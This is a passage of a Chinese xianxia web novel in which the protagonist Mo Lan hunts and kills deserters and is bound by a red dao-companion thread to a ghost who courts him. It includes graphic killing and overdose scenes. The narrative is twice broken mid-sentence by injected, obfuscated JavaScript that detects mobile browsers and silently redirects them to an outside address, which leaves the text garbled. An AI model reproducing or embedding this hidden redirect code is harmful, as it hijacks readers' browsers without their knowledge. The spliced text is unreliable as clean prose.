风刮到他身上,像是带着奇寒的针狠狠刺进骨头缝,血肉都被冻结。墨岚面不改色地向前走,掩盖在宽大袍袖之下的手却紧紧攥着。 这是他和墨湄生活了十年的地方,是他的噩梦。 从前墨湄靠着他生父鬼修的遗产过活,不缺吃穿,住的地方虽然偏僻,但也算安全。 但墨湄痴迷于致幻魔草,她总是在服用药草后对着他发疯,颠三倒四地说自己是墨家大小姐,是十几岁便锻体的绝世天骄,是整个天机城的希望。 随后开始唾骂,唾骂那欺瞒她练邪功,拖累她灵脉尽毁的鬼修,骂墨岚这个连累他回不了家的小杂种,甚至骂父亲无情,骂家族冷漠。 缓过神后,她会用扫帚把墨岚狠狠打上一顿,将他扫地出门。 墨岚饿得前胸贴后背,他越长越大,挤不进通往灶房的狗洞,只好独自迎着风雪,前往城中最混乱的街道,去与野狗争抢,捡拾那些略显正常的食物残渣。 好几次他差点饿死,冻死,或是被那些脏东西毒死。 墨湄一次发病便是三五天,期间墨岚回不了家,总是躺在巷尾的雪地中,将自己蜷缩起来窝在墙角,不断用手搓着身体取暖,满身都是冻疮。 他回想起,只觉得自己能活下来真是个奇迹。 …… 夜幕落下,外城的狂欢到达高.潮,墨岚也终于在城中央一处破败的院落,发现了遁逃出天机城的师徒三人。 彼时那长老正颤抖着手,正准备将短刀刺进一人的胸膛。 空旷的院落中生了一团火,师徒三人站在一起,空旷的院落中倒着两个杯五花大绑的凡人。、 长老捏着其中一个女人的肩膀,眼看着悬在空中的手便要落下。 女人发出刺耳的尖叫,蹲在屋顶上的墨岚没有犹豫,一张风行符咒打过去,飓风刮灭了院中燃烧的火堆,几人悚然一惊,朝他的方向看过来。 墨岚跳下房顶,那长老一时没反应过来,没认出他的身份。 他们正准备入门魔道,修行“修罗神功”,吸食血肉化用提升修为。 杀人练功这件独属于邪修的事让他们既兴奋又忐忑,还有些不安。 不安主要是来源于天机城墨家,毕竟他们是从墨家遁逃,往后很长一段时间估计都会被通缉追杀,这也是几人这么着急要练功的原因。 他们在城中随意绑了两个凡人,谁知正准备动手就被打断。 长老将短刀抵在那女人的脖颈:“别过来……不然我杀了她!” 虽堕落外城,但他们的行为还透着正常修士的模样,若是真正的魔修,这时候就该毫不犹豫地杀人练功。 墨岚不欲与他们多言,那对凡人夫妻还沉浸在极度恐慌中,止不住地尖叫。 长老的修为比墨岚高,若是拼死抵抗,墨岚讨不到好。 但是他没有暴露身份,招式间亦没有透露修为,加上全身神秘的装束,成功模糊了他们的判断。 长老将他当成了什么高人,不到万不得已不想动手,他尝试与墨岚谈判:“阁下是要这两个凡人吗,我们可以让给你。” 墨岚懒得与他废话,趁着他分身,抽出腰间的裁风直取他面门。 裁风柔软坚韧的剑身环住长老的手腕,墨岚剑风插针,催动本命符,引动其他符箓在那两名弟子周边结成阵法,让他们一时动弹不得。 望着面前长老惊恐的脸,墨岚微微蹙眉,收回剑刃的同时削掉了他的手腕。 长老发出一阵痛苦的叫喊,不得已扔下了手上受制的女人。 他点穴止血,见墨岚没有谈判的意图,咬牙拿出本命符准备迎战。 墨岚在裁风剑刃上淬了毒,长老的血根本止不住。 他下手狠辣,在两个弟子面前与长老对打,招招奔着取人性命。 长老被剧毒拖累,灵台凝不起气,渐渐落于下风,最后被墨岚一剑抹了脖子。 他的力道没有控制好,长老的头颅几乎要与身体失去链接,灼热的血溅在苍白的雪地上,与那两个凡人身下流淌的污秽混杂在一处,还冒着热气。 风一吹,那热气顷刻便消散了,天机城又下起了雪。 墨岚喘着气,挥手将他倒在地上的尸体收入灵囊。 两名弟子在旁边看呆了,身体被阵法禁锢动弹不得,只得睁着盛满惊俱的双眼,看着墨岚用匕首刺进他们心脏,轻易失了性命。 收回他们的尸身后,墨岚站在原地盯着手心的血迹出神。雪花落在他的手心,融进血污里,再看不出痕迹。 地上躺着的两个凡人几近晕厥,许是磕了致幻魔草的缘故,他们开始抖着唇胡言乱语,身下污秽流了一地。 墨岚耳边嗡鸣,恍惚间听到他们口中喊了一句“何烬”。 他猛然回神,发现地上的两个人口吐白沫,全身抽搐着,是嗑药过量的迹象。 这样的姿态他实在太熟悉,与曾经的墨湄别无二致。 他将刚才那句“何烬”当成了自己幻听,不愿多待,只挥手斩断他们身上的锁链,便抽身离去。 他走后不久,极度恐慌和服药过量的何川墨涓夫妻二人,在地上抽搐着结束了自己罪恶的一生。 那句“何烬”,并非幻听。 或是这对夫妻第二次被赶出内城后对小儿子的痛恨再次加深,又或是弥留之际意识到了自己的错误,想要弥补。 谁知道呢?已经没人在乎了。 …… 回到墨家后,墨岚将几人的尸身放到墨端面前复命,墨端盯着那身首几乎分离的长老尸身看了很久,最后哑着嗓子道:“……做的不错。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119787|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 墨岚懒得揣测他到底在想些什么,得了答复后便回了自己的院子。 他将自己泡在水里洗了好几遍,后背小腿上那些冻疮旧疤在水中泡到浮囊,看得他心烦意乱,恨不得一剑剜去,眼不见心不烦。 穿着在外城带了一天的全身衣物被他一把火烧了个干干净净,但身上残留的血腥味却像是怎么都洗不掉一般,始终萦绕在墨岚鼻端。 不知为何,墨岚此刻突然怀念起梦境中那惑心兰清雅的气息,他回过神后匆匆将自己冲干净,躺回床上。 今夜他是会梦到何烬,还是会梦到那地狱般的外城? 带着疑问,墨岚合上沉重的双眼,跌入梦境。 - “你来啦。”河边,何烬回身遥遥看向他,微风拂动他的鬓发,柔软地阳光倾洒在他身上。 一切都是美好的模样,墨岚深深吸了一口气,从未有任何一刻觉得惑心兰的香气是如此令人安心。 他抬腿向何烬走去,长袖中衣在风中勾勒出他身躯的轮廓,纤细又坚韧。 墨岚走到他身边,盯着那河水,抿着唇不发一言。 何烬拉着他的手坐下,轻声问询:“怎么样,还顺利吗?” 墨岚沉默着点头,身上衣物单薄,却没感受到一丝一毫的寒冷。 这处山谷与天机城宛如天上地下,这里有天机城终年都看不见的阳光和温暖的风,蓝色幽魂在河水中徜徉,安静又……温馨。 墨岚长长呼出一口气:“……还是那副样子。” 何烬知道他在说外城,不想提起那让他心情不好的地方,于是说:“没关系,往后不再去便是。” 墨岚第一次有了倾诉的对象,他无意间与何烬吐了苦水,总归何烬只是一只孤魂野鬼。 “照最近的形势,往后去外城的机会只多不少。” 近期重修鬼道的说法在天机城墨家甚嚣尘上,墨端每天吵架都吵不完,那群人都认为他固执,时间一长,判出天机城的人肯定会越来越多。 墨岚已经预想到了未来墨家血流成河的惨状,内心期盼着早点离开这个地方。 墨端早有计划,近两年便要将他谴入镜海天域,前往第一仙门苍陵山修道。 但这会正是需要人手的时候,这计划要延后了。 墨岚心里烦躁,手上不知何时被塞了一枝惑心兰,他无意识地揉搓枝叶花瓣,碾出淡紫色的花汁,把手指染色。 何烬忽然抓住他的手指,墨岚一惊,浑身颤了一下。 何烬把他手上那株可怜的兰花抽走,变戏法似的不知从哪里抽出一条手帕,他一边擦拭着墨岚纤细手指上残留的花汁,一边轻声道:“别怕,我陪着你。” 墨岚有些坐立难安,他怔怔地看着何烬的脸,半晌才想起来将自己的手从他手中抽走。 “……你怎么陪我。”他有些生硬道。 何烬抬眼看他,他眼窝很深,眉间距小,眼珠黑得吓人,墨岚被他看得心里发毛。 他总是忘记身边这人是一只鬼,何烬实在太像个人了。 何烬缓缓开口:“你想让我怎么陪你呢?” 他把问题又抛给墨岚,墨岚几乎没有思考,眨眨眼道:“我想让你别陪着我。” 何烬叹了口气,语气很难过:“你总说些让我伤心的话。” 墨岚头皮发麻,他将目光移开,不让何烬看到他的慌乱。 何烬顺着话中的委屈说下去:“外城我也害怕,我骗了你墨岚。” “我其实过得并不好。” 他将手臂搭在墨岚膝盖上,声音很轻:“我的父母不喜欢我,他们只喜欢我哥哥,因为我哥哥有灵根,天资好,有望进入本家。” 这是他第一次与墨岚提起家庭,墨岚不自觉屏住呼吸,听他娓娓道来。 “小时候家里穷,他们总是把最好的留给我哥哥,我只能吃我哥哥的剩饭,穿他剩下的旧衣服。” “这没什么,毕竟穷是真的,我也习惯了。后来哥哥测了灵根,本家那几年培养小辈,发了很多丹药,我自己的也被他抢去。” 墨岚听着听着便皱起了眉。 “……所以后来我拖累他们被赶出内城,他们好恨我。” 何烬说着,将自己的手臂递到墨岚面前,掀开袖口。 那手臂上密密麻麻全是伤痕,乍一看有鞭伤,刀伤,甚至还有火燎出的痕迹。 墨岚心里咯噔一下,他张开口,却说不出话。 他能说什么呢,是表达愧疚歉意一遍遍道歉,还是生硬地安慰? 墨岚清楚地知道这一切都是因为自己,所有的话语都显得太过苍白无力。 何烬接着说:“去了外城后,哥哥自暴自弃放弃了修炼,他们便逼着我出去挣钱……我当了好多年背尸人,其实与鬼也没区别了。” “但是我没骗你,我死得不痛苦。”何烬偏头看着墨岚愈发苍白的脸色,唇角勾起不甚明显的笑:“我是累死的。” 他叹了口气:“死人很重,你知道吗?” 墨岚彻底说不出话了。 15. 裁风断月 何烬说完后便发现旁边的墨岚非常沉默,始终垂着头,没有别的反应。 他心想这是怎么了,墨岚难道不该牵着他的手说好心疼他吗。 墨岚不知道身边的恶鬼思维活泛,他正在艰难抉择。 半晌,他站起身,在何烬探究的目光下轻声道:“见你我总是心怀愧疚……你别再来找我了,我会祭奠你的,争取帮你早日投胎。” 何烬:“?” 他又干了什么? “为何愧疚,我早说了不怪你。”何烬站起来想去拉他的手。 墨岚把他冰凉的手甩开:“……你别动手动脚的。” 何烬真的伤心了,暗自懊恼,早知墨岚心思敏感,他就不该在他面前扮弱卖惨。 “罢了,你权当我没说过那些话。”何烬竖着指头指天:“我绝无怪你的意思。” 他这样郑重,墨岚更觉得自己狭隘,他眼眶染上红,狠狠扭过头:“我意已决,你便是怪我,我也绝无怨言。” 何烬有些头疼,墨岚敏感又执拗,话不投机便准备把自己掐醒。 他只好伸手托住墨岚的下颌,将他的头强制扭过来对准自己:“墨岚……” 何烬惊觉墨岚红了眼眶,一时手足无措,恨不得扇自己巴掌:“你别这样,我真的不是故意惹你伤心……也别离开,我只有你了。” 墨岚还是想不清楚他为何会对一个害他吃了那么多苦的罪魁祸首纠缠不休,若说报复,何烬至今没做出伤害他的举动,他实在想不到何烬缠着他的目的是什么…… 何烬却说,他只有墨岚了。 墨岚伸手将何烬的手指从自己的脸上扒下去,被何烬顺势牵住了手,何烬将他的手心贴着自己没有心跳起伏的胸口,破罐子破摔:“其实,我心悦你。” 墨岚仿佛听到了世间最荒谬的事。 “真的。”何烬笑得腼腆:“多年前你自己生着病也要救我,我一直感激着你。” “你知道么?几年前的那个冬天,我并没有睡着,你的那件披风我还留着,不知道还在不在……” 墨岚这下是真的感到惊悚了,他慌乱的将自己的手抽回来,皮肤上仿佛还残留着何烬冰凉的温度。 一只孤魂野鬼托梦给自己表白,任谁都会惊悚万分,这下墨岚知道何烬的目的了,他真是为了报复……恐怕是来拖他一起下地狱的! 墨岚连连后退,不敢置信地看着何烬,嘴唇嗫嚅着说不出话。 何烬丝毫不知自己满腔爱意落在墨岚眼里便是索命恶语,见他反应这样大,叹了口气:“我不勉强你,也不愿强迫你,你不回应也没关系,只要能允许我留在你身边……” 殊不知这句话被墨岚听去,便是:“我偏要缠着你,不能拉你一起死,便让你同我一般不得安生。” 墨岚脸上血色尽褪,脑袋嗡嗡作响,他强行镇定,狠狠咬了一口腮帮肉,将自己生生咬出血…… 墨岚如愿苏醒,从床上弹起来,口腔内壁还残留着血腥,被他悉数咽下。 他靠着床头枯坐半个时辰,才缓过神。 何烬的话语盘旋在他心头,真实又荒诞。 他细细回想了两人相处的点点滴滴,更加确信何烬是来索命。 那些暗处的窥伺视线也有了解释,何烬却说自己无法现身。 真是非常狡诈的一只鬼!墨岚暗暗心惊。 不入梦的法子是行不通了,墨岚十分懊悔先前没有直接在何烬面前拒绝他,虽然不一定断掉何烬的念想,好歹能明确自己的底线…… 算了,便是拒绝了何烬也一定不会听,他可是鬼。 墨岚没心思再睡,趁夜出了墨家,寻了间香火纸扎铺,买了些祭奠用的祭品。 晨光熹微,墨岚去了后山。 他找了块空地,刨出一个土坑,将刻了何烬名字的牌位放置在里面,权当做衣冠冢。 墨岚点燃三炷香,在坟前拜了拜,抿着唇浇下一壶烈酒:“……祝你早日投胎。” 此举是求心安,墨岚做完一切后便稍稍松了口气,站在原地等身上的香烛味散去,漫步回院。 他很少来后山,旁边便是墨家的祖坟…… 墨岚眼神一凝,他找的这块空地上,距离何烬衣冠冢的不远处,居然还有一个坟包。 坟包上没有墓碑,也没有任何打扫祭奠的痕迹,但那里的土很新,绝对不是正常的土包。 墨岚走过去蹲下身,抓起一把阴凉潮湿的散土,皱起了眉。 这竟然是书上记载的阴土。 墨岚第一次认真审视天机城的土地,惊讶地发现后山的土大多是这般的阴土。 阴土顾名思义,滋养阴寒花草,最易招惹阴魂。 怪不得天机城鬼修盘踞,原来有资源优势。 墨岚拍拍手,又看了一眼那无名坟茔。 他收回视线,快步离开了后山。 - 窥伺目光久久未散。 课堂上,墨岚坐在最后一排,左前方便是敞开的窗口。 他抬眼望去,这窗户正对着后山一片片凸起的坟包。 他的直觉不会错,方才窗边有人看他。 或许不是人。 墨岚有些心烦意乱,手上捏着绘制符纸的短毛笔。 他随手抽了一张空白的宣纸,在上面写写画画。 “好了,今天就到这里。” 台上传来授课长老的声音,教室中的弟子开始整理书册工具,纷纷走出房门。 墨岚也回过神,盯着自己手下寥寥几笔勾勒出的兰花出神。 花比叶大,形近鸢尾……这是惑心兰。 墨岚深吸了一口气,伸手抹去了未干的岩彩。 手指上沾染乱七八糟的青紫,墨岚坐在空无一人的教室里发呆,脑袋放空。 他从前很享受这样的独处时刻,但现下脑子里装着事,始终无法真正放松。 有弟子落了书籍在教室,推门进来时见到墨岚,有些不好意思地搭话:“少主您在这里干嘛呀。” 墨岚愣了愣,答道:“没什么,发呆而已。” 弟子鼓起勇气走到他面前,被他手指上的某样东西扎了下眼。 “呀。”弟子讶异地对墨岚道:“少主,您手上那是什么?” 墨岚捏了捏眉心,心不在焉答:“颜料而——” 他目光凝滞,看着自己举起来的那只手,话语戛然而止。 那弟子摇头:“不是颜料啊,是一根红色的线……” 墨岚当然知道,他盯着自己手指上缠绕的那条长长的红线,瞳孔微缩。 弟子也是第一次见这东西,正想开口再问,瞥见墨岚苍白的脸色,悻悻将话头收了回去。 墨岚没心思管他,自顾自走出房门,径直前往天机阁。 他虽然不知道那红线是什么东西,但平白出现的,肯定不是什么好东西。 去医仙哪里,少不了墨端的一通盘问,不如先去藏书阁查一查。 墨岚步履匆匆,一路上将所有最差的情况再脑海中全部预演。 当年墨湄被鬼修引诱,在不知情的情况下被植入同甘共苦的蛊虫。后来鬼修练功自爆,那蛊虫连累着墨湄全身灵脉尽碎,再无缘仙途。 这红线凭空出现,墨岚第一时间将这东西与邪术巫蛊联想到一起。 他一刻不敢犹豫,径直冲向藏书阁,来到与巫蛊相关的书架前,一股脑地将所有相关的书籍抽下来,颤抖着手将书册在地上堆成小山。 藏书阁终年不见天日,空气潮湿光线昏暗,墨岚点燃墙角的灯台,靠在书架上翻书。 书册少有人打理,翻阅时还能闻到淡淡的霉味。 墨岚一目十行,看过书上诸多蛊术记载,却始终没有发现与红线形态相似的蛊术。 他面色煞白,合上书本慢慢滑坐在地上,屏息凝神探查灵台,神识游走全身,却没有发现深藏的蛊虫。 到底是谁,能神不知鬼不觉地在他身上种下蛊? 若非蛊虫,这又是什么毒辣邪术? 墨岚越看越觉得那红线诡谲,艳红的丝线搭在手指上,一路顺延到手臂,垂在地面,仿佛下一刻便要将他全身血肉吸去。 红线很长,一端系在墨岚的无名指上,另一端则隐入黑暗,看不到尽头。 像是一条柔软的枷锁,让墨岚无处遁形。 他揉了揉酸涩的眼,随意抓起一本书翻看。 “到底是什么……”他口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119788|195960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中无意识地喃喃。 藏书阁准备的烛台陈旧了,蜡烛干到掉渣,没一会便燃烧殆尽。 烛火“噗”一声熄灭,墨岚坐在书堆中,翻阅的手陡然顿住。 藏书阁那股潮湿霉味很快被一阵浓郁的兰香覆盖,墨岚扔下书册,将断月拔出来。 这味道仿佛成了何烬的专属标志,墨岚用一只手抓着书架的边缘,正要站起身。 手腕上出现一道冰凉,带着黏腻的触感。 墨岚瞪大眼睛,扭着手腕想要挣脱:“……放手!” 何烬第一次在真实的世界里现身,他一身黑衣,衬得面色更加苍白如纸,慢慢从黑暗中走出来贴在墨岚身前,手指力度很大,任凭墨岚再如何用力也挣脱不开。 墨岚很少受人掣制,咬牙便打算“断尾逃生”,眼看着断月便要朝着自己的手腕削去。 何烬微不可查地叹了口气,将自己的手指从墨岚的手腕上挪下来,下一刻便被断月锋利的刀刃抵住了喉间。 墨岚顺着他的手看过去,在他的指间发现了那神秘红线的另一端。 匕首没入何烬喉间,墨岚另一只手的手指有些颤抖:“……这线是什么东西?” 何烬一双黑沉到极点的眼眸与他对视,像是要望进他心里:“这匕首真是好东西……轻一些,若是没有控制好力道,我怕是要魂飞魄散了。” 断月是墨岚在墨家库房里亲手挑选的奇珍兵器,的确有着撕裂魂魄的奇效。 新鲜的伤口上渗出少量黑色的,浓稠的血,这些都在昭示着面前这个高大的男人,是一个死去的恶鬼。 墨岚一遍一遍告诉自己冷静,握着匕首的手指却前所未有地战栗,仿佛握的是千钧巨石。 何烬不管那漏风的喉咙,凑过去贴着墨岚耳边,压着嗓音低低地笑:“别这样刀剑相向,我不会伤害你。” 墨岚见他的脸凑得越来越近,偏过头去,侧身将何烬抵在书架上,换了只手握刀。 “少废话,我问你这红线究竟是什么东西!”墨岚用生平最狠毒的语气,在何烬耳边咬牙切齿。 何烬闭着眼深深吸了口气,随后举起那只缠着红线的手:“你说这个?” 墨岚再次确认,何烬手上的红线的确与自己相连。 “你是何时在我身上种下这个的?”墨岚更加笃定这是某种奇特的蛊,只是不知何烬是怎样在梦中对他施蛊。 种?何烬后知后觉地扫了一眼遍地狼藉的书册,回过神后看着墨岚勾起唇角。 “这看起来,很像蛊虫吗?” 墨岚屏着气不去嗅他身上那浓重的兰香,何烬要故弄玄虚,他却不想再周旋。 匕首贴着皮肉一点点往下滑,直至对准恶鬼的心口。 墨岚语气艰难:“我不欲如此……解蛊还是魂飞魄散,你选一个吧。” 他们僵持着,何烬低着头盯着墨岚扑扇的长睫、狭长的眉眼,最终落在那有些苍白的唇瓣。 “阿岚。”何烬突然开口出声,墨岚猝不及防地抬头看他,被狡黠的恶鬼捕捉到唇角。 “!”墨岚被唇上冰凉的触感惊得墨岚瞳孔骤缩,脸上血色尽褪,手腕一抖,断月刺进身前恶鬼的胸膛。 何烬贴着他的唇,闷哼一声,随后又接连不断地低笑,毫无忏悔之意地对上墨岚盛怒之下染上水红的双眸。 这是个带有挑衅意味的吻,像是在说:牡丹花下死,做鬼也风流。 墨岚气急,却没勇气让断月再进一步。 何烬却主动伸开双臂环住他的腰,自始至终没有放开他的双唇。 于是墨岚怔在原地,恶鬼就这样将自己撞向匕首,任由利刃刺入早已停止跳动的心脏。 不过没关系,两人胸膛紧紧贴着,墨岚将自己的心跳传导给他,空气都跟着灼热。 墨岚用最后一点力气躲开何烬追逐般的吻:“……你疯了!” 破裂的心脏在何烬的体内消散溶解,何烬捉住墨岚握着刀柄的手,凑到唇边轻吻。 他的身躯开始由内到外湮灭,恶鬼却丝毫不在意。 “那不是蛊虫……” 何烬笑得眉眼弯弯,炫耀般举起自己缠着红线的那只手:“这是道侣结哦……你逃不掉了。” 16. 与天盟誓 墨岚感受着断月在何烬胸膛中搅动,黏腻的声响听得他面色苍白,眼睁睁看着何烬消失在他的面前。 唇上留着何烬的气息,浓郁的兰香在狭小的藏书角落四溢,墨岚胸膛的起伏渐渐归于平静,面无表情地甩掉断月剑刃上残留的污血。 他面颊上因愤怒引起的红潮尚未褪去,抬起手来狠狠抹了一把口唇,仿佛这样就能把何烬的吻擦去。 只是这样一来,他的视线又不可避免地落在了指间那条道侣结上。 墨岚把刀收回去,拖着有些酸软的双腿走到书架另一头,点了一下架子上的复原阵法,将扔得到处都是的巫蛊书放回原位。 道侣结,这是个有些陌生的名讳,但能大致猜出是个什么东西。 墨岚来到最前面的书架前,随意抽了一本《镜海洲风物志》。 对准目录准确翻到“婚丧嫁娶”一卷。 果然,墨岚在页尾看到了这红线的小图画。 “‘道侣结’,是为道侣间神魂之契。” “……寻常道侣只需与天道盟誓,得到认可后便会自动牵引道侣结,心意相通,可证生死。” 墨岚照着书上写着的隐藏术法念了两句咒,那有些突兀的道侣结就在他手上消失了。 他小小松了口气,又往后翻了一页。 书上说道侣结可以感知对方的位置,甚至探查对方的情况, 墨岚尝试在红线中注入灵力,却无法感受到红线另一端拴着的何烬。 墨岚放下书册,叹了口气。 道侣结的说明适用于修士之间,偏偏何烬是一只孤魂野鬼。 墨岚并不知道道侣结的法则会不会对一只鬼生效,但那线是实实在在曾在何烬手上出现过的。 好奇怪,一条凭空出现的红线,竟然能生生将生死相隔的两个人联结在一起。 他脑中不断回想起书上那“与天盟誓”。 他与何烬盟过誓吗?没有,他与何烬只见过寥寥几面,便是在梦中的几次相处,皆因他的不安与戒备不欢而散。 墨岚将脑中几条杂乱无章的线索连在一起,从前的十几年,他很少有过不清醒的时候,若是有什么机会能让何烬牵起这根道侣结,恐怕就是几个月前他重病将死的那个夜晚了。 墨岚始终觉得当初自己修为倒退,身上的旧伤莫名其妙好转这件事不简单,与墨端求证便被劈头盖脸一顿骂。 他定了定心神,决定无论如何也要将这件事搞清楚。 眼下何烬或许已经魂飞魄散,除了自己,没有人会来和他答疑解惑。 墨岚胸膛很闷,他走出天机阁,外头是正午,新雪刚歇,墨岚拢着大氅深吸一口气,鼻尖冻到没有知觉。 天机阁离家主的居所很近很近,以至于在墨岚踟蹰犹豫行走的那一段时间里,他早已不知不觉地来到了墨端的院外。 “……”墨岚轻轻咬着下唇,抬手又看了一眼手上的道侣结。 罢了,先把事情弄清楚吧。 墨岚缓慢地迈步走进了家主的院子,叩响房门的一瞬间便后悔了。 “进。”墨端威严的声音自门后响起,没有给墨岚反悔的机会。 墨岚硬着头皮推开院门走进房中,墨端坐在正堂,手边放着墨家四处搜集的种种情报,正在翻阅。 他一个眼神都没有给墨岚:“什么事。” 墨岚走到他面前,沉默良久,久到墨端抬起眼,不悦地看他。 墨岚站在原地时想了很多,却鬼使神差地没有供出何烬的存在,只抬眼与墨端对视:“我当初修为倒退,究竟发生了什么?” 墨端最烦他提起这些不堪回首的往事,就像是在提醒他,嘴上说着抵制鬼修邪术,却也听信谗言,让这般功法作用在自己的继承人身上,多么讽刺又自私。 他沉默着放下手中的卷宗:“我说过了,是医仙力挽狂澜。” 墨岚当然不信:“若是医仙能力挽狂澜,我何至苟延残喘那么多年。” “……我就问你一件事。”墨岚定定看着墨端的双眼:“我痊愈,是否与外城……背尸人,有关。” 他说得一字一顿,异常清晰,落在墨端耳中便如同惊雷炸响,振聋发聩。 他站起来逼问墨岚:“是谁同你说的这些?!” 那场诡异到极点的阴婚只有极少数人知晓,医仙算一个,剩下的便只有墨端自己和他的心腹手下。 医仙一向嘴严,并且完全听命于墨端,更不用说他的心腹,墨端很是放心。 若再说一个……那便是那日亲自主持婚礼,送嫁入棺的神秘男人了。 那男人自焚后便不知所踪,唯一留下的痕迹便是先前离开秘境后墨岚身上那件大衣。 他肯定没死,墨岚是遇上他了吗? 墨端的心一点点沉下去,咬牙切齿地重复:“是谁和你说的?” 墨岚见他的反应,将自己心中的猜测肯定了大半。 自己当时被从鬼门关中拉出来,真的与何烬有关。 他喉间梗塞,何烬因他的搭救而流放外城,却又救了他一命。 他始终亏欠何烬,墨岚用近乎哀求的眼神看着墨端,声音都在发颤。 “……他是因我而死吗?” - 墨端不满他的质问,直到最后也没有给出答案。 墨岚被关了一个月禁闭,何烬也再未出现在他的梦境中。 墨岚一想起何烬心脏就发紧,疼痛伴着麻木席卷全身。 他连转世轮回的机会都没给何烬留下。 但那条道侣结经久不散,墨岚便盯着它发呆,恍然间能闻到惑心兰的花香。 他绷得太近,甫一松懈整个人便垮下来,久未光临身体的风寒也找上门。 墨岚烧了三天,整个风月阁弥漫着汤药的苦涩,却没有人来关心。 天机城沉寂了太久,最近格外的热闹,墨端忙得脚不沾地,一边应对魔族的进犯,一边清缴本家的叛徒。 以至于墨岚没有休息几天,风寒都未痊愈便被喊下了床。 城中又出现了叛逃外城的叛徒。 墨端照旧给了他画像,假装没看见他病弱得如枯燥白纸一般的脸色,直截了当:“明日我要看见他们的尸首。” 墨岚闷声低咳,仍是那句话:“他是否因我而——” 墨端盛怒,未等他说完,墨岚便被飓风托着扫地出门。 房门在他面前“砰”地一声重重关闭,惊起的风将他额角散乱的鬓发向后吹。 一股风灌进墨岚的咽喉,他捂着唇蹲在门口剧烈地咳嗽,喉间全是反上来的药味。 没人在意他,墨岚在原地平复好,又孤零零地回了住处。 …… 这次叛逃的是四个人,比之先前的师徒三人明显有了防备,十分难缠。 墨岚蹲守了整整两日才在巷口发现了正在转移据点的几人,当街截杀。 尸体引来了附近游荡的鬼修,墨岚将他们打退,却不慎在背后被劈了一刀。 哪怕躲闪及时,却还是被刀势划出一道长长的伤痕。 墨岚拖着伤,带着尸体回了内城,蹒跚着进了家主的院子,尚未复命便直接在院中晕了过去。 他从前经常这样病重昏迷,但这一次,却格外冗长。 墨岚又梦见了外城,邪魔鬼修现在尸山血海上癫狂地大笑,身后有墨湄举着长棍追赶,前方是端着蛊丹,面容严厉的墨端。 他跑啊跑啊,破烂的布鞋被鲜血浸湿,肺部像破败的风箱一般供不上气,胸膛撕扯着疼。 幼小的墨岚在奔跑中逐渐长大了,甩 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他该说些什么?是千篇一律的道歉忏悔,还是再次划清界限,让何烬去投胎。 墨岚呆愣地看着何烬带着关切的脸,一个字都说不出来。 何烬倒是不在意,他握着墨岚的手将他拉起来,坐在草地上,让墨岚得以依靠他的胸膛。 墨岚嗅着他身上的兰香,恍惚间突然意识到,自己其实并没有那么厌恶何烬这只恶鬼。 他对何烬的情感最初始于愧疚,何烬总是让他感到愧疚与亏欠,他自己心里明镜似的,却似乎根本没有做出弥补的举动,反而再三伤害何烬。 墨岚靠在何烬的怀中发呆,心里五味杂陈。 他不说话,何烬便这样静静抱着他,感受他呼吸间的温度,胸膛处的起伏,贴着他柔软冰凉的皮肤,感受其中属于活人的特质。 他在墨岚身上闻到了血腥味,于是低下头,鼻头蹭了蹭墨岚的耳尖,惊得墨岚瑟缩, “你受伤了……” 何烬伸出手轻轻触碰墨岚后背的伤口,梦中没有痛觉,墨岚只觉得痒。 何烬喃喃:“你好像总是受伤……是谁伤的你?” 墨岚终于说话了,他嗓子哑得厉害,失声许久,他拼尽全力也只挤出了两个字:“……外城。” 何烬心疼地抚摸他背上裸露的伤,隐约能摸到衣服下其他凸起的旧疤痕,从后背一路蔓延到肩膀。 墨岚的呼吸有些乱,他知道自己的后背很难看。 小时候他背上全是墨湄留下的伤痕,痛到难以忍受时便平躺在雪地中,利用刺骨的寒冷来麻痹痛觉,但伤口的愈合往往伴随着冻疮发作,以至于身上常年痒痛。 何烬察觉他不对劲,及时收手,环住墨岚的腰,将下巴搁在他的肩头。 墨岚默许了他的行为,何烬得寸进尺,冰凉的嘴唇在他后颈摩擦。 “……我先前说的,你考虑好了吗?” 墨岚屏住呼吸。 何烬先前说了什么?先是在梦中对他剖白,他没有回应,又出现在藏书阁中,吻了他…… 墨岚想起来了。 何烬说不要墨岚回应他的感情,只想待在墨岚身边。 他有些想要苦笑,便是断月都未曾让何烬魂飞魄散,若是他真要缠着自己,难道他还能拒绝么? 何烬对他的所思所想浑然不觉,专注地吮吻着他后颈那块小小的皮肤,留下艳红刺眼的吻痕。 墨岚放任自己失去对身体的主导,沉溺在恶鬼冰冷的怀抱中,竟能诡异地感到安心。 于是他很小声地应答,给出了能让恶鬼满意的答案。 “……好。” 17. 且作山盟 墨岚也不知道自己是出于什么想法才会在完全清醒的情况下答应何烬的要求,但当他反应过来的时候,已经是翌日清晨了。 背上的伤口被包扎好,能闻到药粉的味道。 墨岚身上的疲惫倦怠一扫而空,他不想动弹,静静趴在床上,看着床头柜上的香篆慢慢燃烧。 一闭上眼,何烬冰冷潮湿的气息仿佛还停留在身边,耳尖是亲吻留下的酥麻,后颈被啄出一道道红印。 墨岚恍然地伸手触碰后颈,细密的刺痛让他微微蹙眉。 梦境中留下的痕迹,竟然会出现在现实世界中吗? 墨岚胡乱在灵囊中摸了一面小小的铜镜,这亦是法宝,名叫破妄,能参破千重幻象。 墨岚用不上它,这是十五岁时族人献给他的生辰礼,此刻排上了用场。 